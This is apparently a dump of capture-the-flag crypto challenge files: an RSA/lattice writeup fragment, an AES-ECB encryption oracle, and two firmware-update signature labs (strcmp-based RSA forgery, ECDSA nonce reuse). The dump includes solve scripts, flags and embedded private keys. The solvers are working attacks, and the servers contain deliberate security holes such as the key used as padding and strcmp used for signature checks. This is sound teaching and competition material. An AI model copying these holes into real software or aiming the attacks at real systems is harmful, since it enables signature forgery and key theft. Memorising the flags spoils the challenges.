two $l$-bit numbers $c_j$ and $d_j$. Then, $x_j$ is computed as $$ x_j = (a_j + 2^{-l} c_j) + (b_j + 2^{-l} d_j) z $$ Lastly, $$ |x_j|^2 = x_j \overline{x_j} $$ is computed and we are given the three values $(\lfloor |x_j|^2 \rfloor, a_j, b_j)$. Note that $\overline{x_j}$ denotes the complex conjugate of $x_j$, so the value $x_j \overline{x_j}$ gives us the squared [complex modulus](https://en.wikipedia.org/wiki/Absolute_value#Complex_numbers) of $x_j$. For ease of reading, we will write $y$ instead of $\lfloor |x_j|^2 \rfloor$. Importantly, we note that $x_j$ is an element of $K$ and its components are rational numbers with fractional parts. Similarly, $|x_j|^2$ is a rational number with a fractional part. However, we are only given the integer parts of these values, so it seems like we might be missing some information. # Solution Let's analyse the second hint in further detail and see if we can use it to recover the primes directly, or find a relation involving the primes that will help us to do so. ## Analysing Hint 2 There will be some tedious algebra, so to make things a bit more readable we will drop the subscripts. Note that we use hint 1 here since $p^2 + q^2$ appears. We have $$ \begin{aligned} x &= (a + 2^{-l} c) + (b + 2^{-l} d) z \\ &= (a + 2^{-l} c) + (b + 2^{-l} d) (p + qi) \\ &= ((a + 2^{-l} c) + (b + 2^{-l} d) p) + (b + 2^{-l} d) qi \\ \implies |x|^2 &= ((a + 2^{-l} c) + (b + 2^{-l} d) p)^2 + ((b + 2^{-l} d)q)^2 \\ &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p \\ &\quad + (b + 2^{-l} d)^2 p^2 + (b + 2^{-l} d)^2 q^2 \\ &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p + (b + 2^{-l}d)^2 D \\ &= a^2 + 2 \cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \cdot 2^{-l} adp + 2 \cdot 2^{-l} bcp + 2 \cdot 2^{-2l} c d p \\ &\quad + (b^2 + 2 \cdot 2^{-l} bd + 2^{-2l} d^2) D \\ &= a^2 + 2 \cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \cdot 2^{-l} adp + 2 \cdot 2^{-l} bcp + 2 \cdot 2^{-2l} c d p \\ &\quad + b^2 D + 2 \cdot 2^{-l} bd D + 2^{-2l} d^2 D \end{aligned} $$ Now, this looks like a mess and it kinda is, but fortunately we can clean it up a bit. Recall that $a$ and $b$ are 1337-bit numbers, while $c$ and $d$ are 338-bit numbers ($l = 338$). The following table gives the approximate size of each term (_when considered as an integer_), which we will use to reason with soon. Note that $D = p^2 + q^2$ is on the order of $2 \times 1337$ bits. |Term|Size (in bits)| |---|---| |$a^2$|$2 \times 1337$| |$2 \cdot 2^{-l} ac$|$1337$| |$2^{-2l}c^2$|$0$| |$2abp$|$3 \times 1337$| |$2 \cdot 2^{-l} adp$|$2 \times 1337$| |$2 \cdot 2^{-l} bcp$|$2 \times 1337$| |$2 \cdot 2^{-2l} cdp$|$1337$| |$b^2 D$|$4 \times 1337$| |$2 \cdot 2^{-l} bd D$|$3 \times 1337$| |$2^{-2l} d^2 D$|$2 \times 1337$| Now, what we will do is divide (integer division) the entire expression by $2ab$. Because $2ab$ is around $2 \times 1337$ bits in size, we can more or less throw away any term whose size is $2 \times 1337$ or less. This leaves us with $$ \begin{aligned} \frac{|x|^2}{2ab} = \frac{y}{2ab} &\approx p + \frac{(b^2 + 2 \cdot 2^{-l} bd) D}{2ab} \\ &\approx p + \frac{b^2D}{2ab} + \frac{2^{-l}dD}{a} \end{aligned} $$ This approximation itself is very accurate, and only differs by a few bits due to the $2 \times 1337$ terms. However, we don't know $d$, so this equation isn't as useful for us. Instead, we write $$ \begin{aligned} \frac{y}{2ab} &\approx p + \frac{b^2 D}{2ab} + \left \lfloor \frac{2^{-l} D}{a} \right \rfloor d \\ &= p + \frac{b^2 D}{2ab} + \left \lfloor \frac{2^{-l} D}{a} \right \rfloor d + k \end{aligned} $$ where $|k| < 2^l$. Note that the approximation is off by a term of size approximately $l$ bits because of integer division rounding. We will omit the $\lfloor \rfloor$, but it should be understood that we are performing integer division. ## Using Hint 2 Now let's bring back the subscripts, noting that we have two instances: $$ \begin{aligned} \begin{cases} \frac{y_1}{2a_1 b_1} &= p + \frac{b_1^2 D}{2 a_1 b_1} + \frac{2^{-l} D}{a_1} d_1 + k_1 \\ \frac{y_2}{2a_2 b_2} &= p + \frac{b_2^2 D}{2 a_2 b_2} + \frac{2^{-l} D}{a_2} d_2 + k_2 \\ \end{cases} \end{aligned} $$ Finally, let's combine these two equations to eliminate $p$. $$ \frac{y_1 - b_1^2 D}{2 a_1 b_1} - \frac{2^{-l} D}{a_1} d_1 - k_1 = \frac{y_2 - b_2^2 D}{2 a_2 b_2}- \frac{2^{-l} D}{a_2} d_2 - k_2 $$ Just so it's easier to read, let $t_j = \frac{y_j - b_j^2 D}{2 a_j b_j}$ and $s_j = \frac{2^{-l} D}{a_j}$. Then, rewriting the above equation, we have: $$ t_1 - s_1 d_1 - k_1 = t_2 - s_2 d_2 - k_2 $$ or to put it in a more exciting way: $$ f(d_1, d_2, k) = t_1 - s_1 d_1 - t_2 + s_2 d_2 - k = 0 $$ Now, $f$ has "small" integer roots $d_1, d_2$ and $k$. An algorithm for finding small roots of multivariate polyomials over the integers is described in this [paper](https://eprint.iacr.org/2007/088.pdf). Following a similar idea, [defund's coppersmith implementation](https://github.com/defund/coppersmith/) can also be used by working over an arbitrary ring $\mathbb{Z}/N\mathbb{Z}$ for some large $N$. ### Lattice Approach However, we can also recover $d_1$ and $d_2$ with a very simple lattice. Consider the lattice generated by the rows of the following matrix: $$ \begin{bmatrix} s_1 & 1 & 0 \\ s_2 & 0 & 1 \\ t_1 - t_2 & 0 & 0 \end{bmatrix} $$ The short vector $(k, -d_1, d_2)$ is an element of this matrix, given by the linear combination of $-d_1$ times the first row, $d_2$ times the second row, and $1$ times the third row. LLL finds this vector. ## Recovering the Primes Now that we have $d$, it is straightforward to recover $p$. We use the approximation we found earlier: $$ \begin{aligned} \frac{y}{2ab} &\approx p + \frac{(b^2 + 2 \cdot 2^{-l} bd) D}{2ab} \\ \implies p &\approx \frac{y - (b^2 + 2 \cdot 2^{-l} bd) D}{2ab} \end{aligned} $$ This approximation is accurate to all but a few bits, which we can easily exhaust over, checking if $D - p^2$ is a square to know which candidate for $p$ is correct. We then compute $q$ as the square root of $D - p^2$. ## Getting the Flag We've already discussed how to decrypt the ciphertext given that we have the prime factors. Compute $d \equiv e^{-1} \pmod{(p-1)(q-1)}$ as in regular RSA and raise $c$ to the $d$th power. The flag is in the imaginary component of the result. ================================================ FILE: crypto/aes-ecb/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 RUN pip install pycryptodome COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/key.txt /home/ctf/chal/ COPY ./challenge/aes-ecb.py /home/ctf/chal/pwn ================================================ FILE: crypto/aes-ecb/README.md ================================================ # Easily Can Break **Category:** crypto **Difficulty:** easy **Author:** 2keebs AES encryption challenge. **Attached files:** - ./challenge/aes-ecb.py (sha256: a6cfc25dc350577e0b0527575340f868042d8c15e8bb1067a707c4140ce1dc87) ================================================ FILE: crypto/aes-ecb/challenge/aes-ecb.py ================================================ #!/usr/bin/python3 import sys import os from Crypto.Cipher import AES from base64 import b64encode bs = 16 # blocksize flag = open('flag.txt', 'rb').read().strip() key = open('key.txt', 'r').read().strip().encode() # my usual password def enc(pt): cipher = AES.new(key, AES.MODE_ECB) ct = cipher.encrypt(pad(pt+key)) res = b64encode(ct).decode('utf-8') return res def pad(pt): while len(pt) % bs: pt += b'0' return (pt) def main(): print('AES-128') while(1): msg = input('Enter plaintext:\n').strip() pt = flag + str.encode(msg) ct = enc(pt) print(ct) if __name__ == '__main__': main() ================================================ FILE: crypto/aes-ecb/challenge/flag.txt ================================================ DUCTF{ECB_M0DE_K3YP4D_D474_L34k} ================================================ FILE: crypto/aes-ecb/challenge/key.txt ================================================ !_SECRETSOURCE_! ================================================ FILE: crypto/aes-ecb/challenge.yml ================================================ version: "0.1" id: aes-ecb name: Break Me! category: crypto description: | AES encryption challenge. Author: 2keebs connection_info: nc ${host} ${port} tags: - easy files: - ./challenge/aes-ecb.py flags: - DUCTF{ECB_M0DE_K3YP4D_D474_L34k} ================================================ FILE: crypto/aes-ecb/solve/requirements.txt ================================================ pwntools == 4.3.1 pycryptodomex == 3.9.7 ================================================ FILE: crypto/aes-ecb/solve/solution.py ================================================ #!/usr/bin/python3 from Crypto.Cipher import AES from pwn import * from base64 import b64decode if len(sys.argv) != 3: print("usage: ./solution.py IP PORT") exit() def get_block(s,n): start = 16 * (n-1) end = start + 16 r = b.decode("utf-8") return b64decode(r)[start:end] # this will grow as each byte of the key is revealed key = b"" s = remote(sys.argv[1], sys.argv[2]) s.recvline() # each byte position in the block (16) for i in range(16, 0, -1): partial = b"A"*(i-1) s.recvline() s.sendline(partial) b = s.recvline() target = get_block(b, 3) # each possible ascii byte value for that position for j in range(33, 127): k = bytes([j]) s.recvline() s.sendline(partial + key + k) b = s.recvline() res = get_block(b, 3) # compare with padded output if res == target: key += k break print("found key:", key) cipher = AES.new(key, AES.MODE_ECB) s.sendline() s.recvline() b = s.recvline() ct = get_block(b,1) + get_block(b,2) flag = cipher.decrypt(ct) print(flag.decode("utf-8")) s.close() ================================================ FILE: crypto/aes-ecb/solve/writeup.md ================================================ # Easily Can Break ## Discovering the Vulnerability The included server code shows `AES-128-ECB` encryption oracle using the encryption key as padding. ```python key = open('key.txt', 'r').read().strip().encode() # my usual password ... cipher = AES.new(key, AES.MODE_ECB) ct = cipher.encrypt(pad(pt+key)) ``` Since the key is used for padding and ECB mode creates identical ciphertext for repeated (plaintext, key) pairs, recovery of the key is possible. ## Developing the exploit Connecting to the server returns the encrypted plaintext in base64. This comprises of `flag + input + key + pad`. Confirming with an empty input: ```python Enter plaintext: hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV ``` Checking the length of the ciphertext shows it is three blocks: ```bash echo 'hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV' | base64 -d | xxd 00000000: 8470 d4bf c00c 8f4c 7ce3 1bf9 0cb0 1f9d .p.....L|....... 00000010: 590c b62a 3145 3f3b 82c9 1224 b3c2 9c80 Y..*1E?;...$.... 00000020: 9bc5 d676 11b0 25bd d9fc 9598 d869 6b95 ...v..%......ik. ``` As the server is `AES-128`, the key size must be 16 bytes, which is one block (16 bytes = 128 bits). This is guaranteed to be (at least partially) in the last block of the ciphertext. This reveals that the length of the flag is between 17-32 bytes, to produce a ciphertext of 3 blocks. The idea is to send a plaintexts of a specific length that will be padded with some bytes of the key, which we can then determine the value of by comparing ciphertexts. This is best explained with an example for the first byte of the key: ``` Step 1: input 15 bytes of plaintext, e.g. 15*"A". The ciphertext returned will be Encrypt(flag + 15*"A" + key + pad) The third block of the ciphertext will then be Encrypt(15*"A" + key[0]) Step 2: Store the third block of ciphertext as "target" Step 3: input 15*"A" + x, where x is a guess of a key byte Step 4: compare the saved "target" with the third block of the ciphertext Repeat step 3-4 for all possible values of x. When they match, the first byte of the key has been successfully guessed Repeat step 1, decrementing the number of "A"s to reveal each subsequent byte of the key ``` Once the key has been recovered, the ciphertext can be decrypted to reveal the flag. ## Execution: recovering the flag Finding the key. Since the source file says the key is the password, the characters must be printable. This narrows the keyspace to ASCII: ```python # each byte position in the block (16) for i in range(16, 0, -1): partial = b"A"*(i-1) s.recvline() s.sendline(partial) b = s.recvline() target = get_block(b, 3) # each possible ascii byte value for that position for j in range(33, 127): k = bytes([j]) s.recvline() s.sendline(partial + key + k) b = s.recvline() res = get_block(b, 3) # compare with padded output if res == target: key += k break ``` Now the key has been discovered, decrypt the ciphertext: ``` ct = b64decode("hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV") cipher = AES.new(key, AES.MODE_ECB) flag = cipher.decrypt(ct) flag{ECB_M0DE_K3YP4D_D474_L34k5} ``` Solved. ================================================ FILE: crypto/otwhat-1/Dockerfile ================================================ FROM tiangolo/uwsgi-nginx-flask:python3.8 ENV LISTEN_PORT 1337 EXPOSE 1337 RUN pip3 install pycryptodome COPY challenge/app/main.py /app COPY challenge/app/rsa.key /app ================================================ FILE: crypto/otwhat-1/README.md ================================================ # OTWhat 1 **Category:** Crypto **Difficulty:** Easy **Author:** nullableVoid\*#7225 We found this exposed IoT thing. It doesn't do anything we can exploit, but there's a HTTP server that's meant for updating. We have a malicious update server at `https://EVILCODE/`, and any path can work with the update mechanism, but we don't have an OEM signature for it. Can you trick it into running our malware? ================================================ FILE: crypto/otwhat-1/challenge/app/main.py ================================================ from flask import Flask, request, redirect, url_for from Crypto.PublicKey import RSA from Crypto.Hash import SHA3_512 from Crypto.Signature import pkcs1_15 from base64 import b64decode, b64encode app = Flask(__name__) with open("rsa.key") as f: key = RSA.import_key(f.read()) example_url = "https://GOODCODE/" example_sig = b64encode(pkcs1_15.new(key).sign(SHA3_512.new(example_url.encode()))).decode() def strcmp(s1: bytes, s2: bytes) -> int: for a, b in zip(s1 + b'\0', s2 + b'\0'): if a == 0 or a != b: break return a - b @app.route("/update.cgi", methods=['GET', 'POST']) def update(): output = ( f'
\n' ' \n' f' \n' ' \n' f' \n' ' ' '
\n' '
\n' ) if request.method == "POST": result = None url = request.form.get('url') hash = SHA3_512.new(url.encode('latin1')).digest() try: signature = b64decode(request.form.get('signature')) except: output += "Error: Signature parsing error.
\n" else: if len(signature) != 512: output += "Error: Incorrect signature length (expected 512 bytes).
\n" else: try: signature = int.from_bytes(signature, "big") if signature <= 1: output += "Error: Invalid signature
\n" else: decrypted_signature = pow(signature, key.e, key.n).to_bytes(key.size_in_bytes(), "big") result = strcmp(hash, decrypted_signature[-64:]) except Exception as e: print(e) output += "Error
\n" if result == 0: if url.startswith("https://GOODCODE/"): output += "Update successful
\n" elif url.startswith("https://EVILCODE/"): output += "Update successful
\n" output += "
RCE POPPED! HACK THE PLANET!! DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp}

\n" else: output += "Update failed
\n" else: output += "Error: Invalid signature
\n" output += ( '' return output @app.route("/") def root(): return redirect(url_for('update')) if __name__ == "__main__": app.run(host="0.0.0.0", port=1337) ================================================ FILE: crypto/otwhat-1/challenge/app/rsa.key ================================================ -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY----- ================================================ FILE: crypto/otwhat-1/challenge.yml ================================================ version: "0.1" id: otwhat-1 name: OTWhat 1 category: crypto description: | We found this exposed IoT thing. It doesn't do anything we can exploit, but there's a HTTP server that's meant for updating. We have a malicious update server at `https://EVILCODE/`, and any path can work with the update mechanism, but we don't have an OEM signature for it. Can you trick it into running our malware? Author: nullableVoid*#7225 connection_info: ${url} tags: - easy flags: - DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp} ================================================ FILE: crypto/otwhat-1/solve/solve.py ================================================ import sys import requests import re import random from Crypto.PublicKey import RSA from Crypto.Hash import SHA3_512 from base64 import b64encode key = RSA.import_key(re.search(r'-----BEGIN PUBLIC KEY-----(.*)-----END PUBLIC KEY-----', requests.get(f"https://{sys.argv[1]}/update.cgi").text, flags=re.S)[0]) hash_found = False url = b"" while not hash_found: padding = random.randbytes(2) url = b"https://EVILCODE/" + padding digest = SHA3_512.new(url).digest() hash_found = digest[0] == 0 print(url) forged_signature = random.randbytes(512) while pow(int.from_bytes(forged_signature, "big"), key.e, key.n).to_bytes(key.size_in_bytes(), "big")[-64] != 0: forged_signature = random.randbytes(512) print(b64encode(forged_signature)) print(requests.post(f"https://{sys.argv[1]}/update.cgi", data={"url": url.decode('latin1'), "signature": b64encode(forged_signature).decode()}).text) ================================================ FILE: crypto/otwhat-1/solve/writeup.md ================================================ As the flag shows, this is a known signing failure of early versions of the Wii software. The first mistake is the use of `strcmp`, as this C function considers strings, it terminates at a null byte as C strings are null-terminated. The attack exploits this by having the actual hash and the hash from the signature start with a null byte, such that according to `strcmp`, both "strings" are zero-length, and are hence equivalent. ``` while not hash_found: padding = randbytes(2) url = "https://EVILCODE/" + padding digest = SHA3_512(url) hash_found = digest[0] == 0 ``` The player is expected to derive the hash function by analysing the sample signature provided by the web app; the public key is in the HTML source, and decrypted signature carries padding, and then a DER-encoded hash indicated to be SHA3-512. Forging a signature would be difficult if not for the second mistake; there are no checks to see if the decrypted signature has valid padding. This is alluded to in the "debug" section of the HTML source code: ``` update.c:69:main(): strcmp(hash, &decrypted_signature[512 - 64]) = ... ``` Meaning, we just need a signature, such that s ^ e mod n has the 448th byte as zero. ``` forged_signature = random.randbytes(256) while pow(int.from_bytes(forged_signature, "big"), key.e, key.n).to_bytes(key.size_in_bytes(), "big")[-64] != 0: forged_signature = random.randbytes(256) ``` ================================================ FILE: crypto/otwhat-2/Dockerfile ================================================ FROM tiangolo/uwsgi-nginx-flask:python3.8 ENV LISTEN_PORT 1337 EXPOSE 1337 RUN pip3 install pycryptodome COPY challenge/app/main.py /app COPY challenge/app/secp256r1.key /app COPY challenge/app/update.log /app ================================================ FILE: crypto/otwhat-2/README.md ================================================ # OTWhat 2 **Category:** Crypto **Difficulty:** Medium **Author:** nullableVoid\*#7225 "We have been notified by our customers that unauthorised code has been executed on devices using a cryptographic oversight, likely by an Australian APT. We are deeply sorry, and will aim to work with affected customers and law enforcement. For the time being, we urge our customers to update to the latest version (6.9) which uses the more sophisticated ECDSA scheme facilitated by government-approved cryptography (P-256) and also provides an audit log for incident response." ================================================ FILE: crypto/otwhat-2/challenge/app/main.py ================================================ from flask import Flask, request, redirect, url_for from Crypto.PublicKey import ECC from Crypto.Signature import DSS from Crypto.Hash import SHA3_512 from base64 import b64decode app = Flask(__name__) with open("secp256r1.key") as f: key = ECC.import_key(f.read()) verifier = DSS.new(key, 'fips-186-3', 'der') log = [] with open("update.log") as f: for event in f: log.append(event.split(" ")) @app.route("/update.cgi", methods=['GET', 'POST']) def update(): output = ( "" ) output += ( f'
\n' ' \n' f' \n' ' \n' f' \n' ' ' '
\n' '
\n' ) if request.method == "POST": url = request.form.get('url') hash = SHA3_512.new(url.encode('latin1')) signature = request.form.get('signature') try: verifier.verify(hash, b64decode(signature)) if url.startswith("https://GOODCODE/"): output += "Update successful
\n" elif url.startswith("https://EVILCODE/"): output += "Update successful
\n" output += "
RCE POPPED! You have earned a trophy: Public Private Keys\nDUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)}

\n" else: output += "Update failed
\n" except ValueError as e: print(e) output += "Invalid signature
\n" output += "Update audit log:
\n" output += ( '\n' ' ' ' ' ' ' ' ' ) for event in log: output += " \n" for column in event: output += " \n" output += " \n" output += "
Update URLECDSA signature
\n" output += f" {column}\n" output += "
\n" output += '' return output @app.route("/") def root(): return redirect(url_for('update')) if __name__ == "__main__": app.run(host="0.0.0.0", port=1337) ================================================ FILE: crypto/otwhat-2/challenge/app/secp256r1.key ================================================ -----BEGIN EC PRIVATE KEY----- MHcCAQEEIN4TO0+AfeX2d4OnxsG863ibIWVtwtjWdlmTChJQnSkToAoGCCqGSM49 AwEHoUQDQgAEaSLgjOOtncCtdsHgz75f1e80IbIEa2I9/IE3men8kYtZwTRWpYrK Br5TKke2Z+QzDn4ZcrRdAmh+H8/Zbw4kNw== -----END EC PRIVATE KEY----- ================================================ FILE: crypto/otwhat-2/challenge/app/update.log ================================================ https://GOODCODE/update/abcd0b64039c6eff5a1cbf50f24eb6c62f25f8f39da28fdc112433b93ada6018 MEUCIQDygJ+KOWKxMIomSm4ejoR75yQiGRebnTIecMz+vAaLZgIgFlRE1/i/oP0IrSKy/jZhEanzrFDCK8siRsELIOrGxlA= https://GOODCODE/update/4d4b2429f62ded41b075fcd0f0528c3b4cbd281494f04f93697dae7e1e5562f3 MEQCIGLKyLXEGqqprGMgZC7ZcJysCKSP0wbvRUQ++1I/H0O1AiBkf/x4XMsLoHq6VUWZaDOs4J2ZU2DXWFqhyJ5+72zg/g== https://GOODCODE/update/3dced7a6fe020797c7bf1e5a08a576b777aa10a8816850a1fb6661d5c97081fb MEQCIBLpxSLhwVY7xD41tUgzYjzraXxUETO01DWcuYG1oluGAiB5CkYhYlvcTXpgSTb/avuuNFo9cEK04+OsqSx6DY1vzg== https://GOODCODE/update/4469f20adeeadcc700b97da48b21f143ce524ed338754471ef2638a3921b461c MEQCIEXuMldMbZ2Arz0CQgwJoEendtNRxAoG5XnVkfcEc2yMAiA+FpL/JC8kMxchpfaTImvLpRVWE4rTK6GgNQLBZOQIPw== https://GOODCODE/update/380fde2d3c3c28b87fabba0728ab548713823f362914ed85cfa43baeddaeff16 MEYCIQCbkzxkYSed+cO6F3EaoBF1uh1uBojdCq0EjFUyxBPyLAIhALzNUWhc2/JSjHAyUklmOgPcw98CkApS5+TvPaz6zYc2 https://GOODCODE/update/80d786fdd1a65421fd1fb43cf39edbec91f6c3dbcb94a509dc772e3f36966c1f MEYCIQDl93ncrNymmNpMO18iivyJA/888doaWDDbILHm7Af6dgIhAMngUbr1aw1jjBmzr+pGSzo0F0jsNxjHY0NZvhzS5RDn https://GOODCODE/update/3387677bc29d24ac5072d9b25bbc49971418ee938971a13c92d7c64e03b5c9b8 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MEUCIQDpalsTIHHoJExe/K/nFxP65CDtPpBvPwTKDLfXMbN7tAIgThZjvBAW0Y/1VCPNGAsBOcJGYK+4DzKvpZda7wQguoo= https://GOODCODE/update/403fa90dbe63c3374b71e57e6bf02c57dd8bcc730edec9b4f64213d2b9e048b6 MEQCIECGFB050hcAMVdEbifHGCBWf/RbGaW+LzMC1oStTjwIAiAjgUO03H6KoVoFHaUjjMSXN1CoDpeyECjv6DemvAbG5g== https://GOODCODE/update/5cd5a39511980526236f50bd2a36ef6520f88ea3cfcd8d064467c8e64b563cbe MEYCIQDl93ncrNymmNpMO18iivyJA/888doaWDDbILHm7Af6dgIhALRF93QCEXTVsPCtITYnNpXQ2dM33YvrHhfK9t4P1VGN https://GOODCODE/update/a4e62ce498a676179e739c1e5346049a0ba69805ecf1e16d26b2defd3f6f6931 MEYCIQCJOv4ySbAeecUF2NKLAGzM3oemf4drCp0DSphf75MvVQIhAP/IhK0yYOvnKsYq/kKJN+8NBZwwSpv6qLuqRSpUT1tB https://GOODCODE/update/f8442ff7e69b88edf9fc4d5ee48967d72602ed7e811c1164cfba69ab46ce8a32 MEYCIQDy5voOPCbpBS7BbnMbr8xO/Ddq4/XH/0oaIx7akii2LAIhAMdPoN9zBpXwQ5xfixaZSd59QHmyHDDQRhLDky6axSfc ================================================ FILE: crypto/otwhat-2/challenge/generate_audit.py ================================================ from Crypto.PublicKey import ECC from Crypto.Hash import SHA3_512 from Crypto.Signature import DSS from Crypto.Util import asn1 import base64 import random with open("app/secp256r1.key") as f: key = ECC.import_key(f.read()) signer = DSS.new(key, 'fips-186-3', 'der') prefix = "https://GOODCODE/update/" urls = [prefix + random.randbytes(32).hex() for i in range(16)] duplicate_indices = [random.randint(0, 15), random.randint(0, 15)] while duplicate_indices[0] == duplicate_indices[1]: duplicate_indices = [random.randint(0, 15), random.randint(0, 15)] urls = [ (url, signer.sign(SHA3_512.new(url.encode()))) if i not in duplicate_indices else (url,) for i, url in enumerate(urls)] k = random.randbytes(256) def fixed_rng(l): print(k[:l]) return k[:l] vulnerable_signer = DSS.new(key, 'fips-186-3', 'der', fixed_rng) for i in duplicate_indices: url, = urls[i] urls[i] = (url, vulnerable_signer.sign(SHA3_512.new(url.encode()))) print(k) print(duplicate_indices) with open("app/update.log", "w") as f: for url, sig in urls: f.write(f"{url} {base64.b64encode(sig).decode()}\n") ================================================ FILE: crypto/otwhat-2/challenge.yml ================================================ 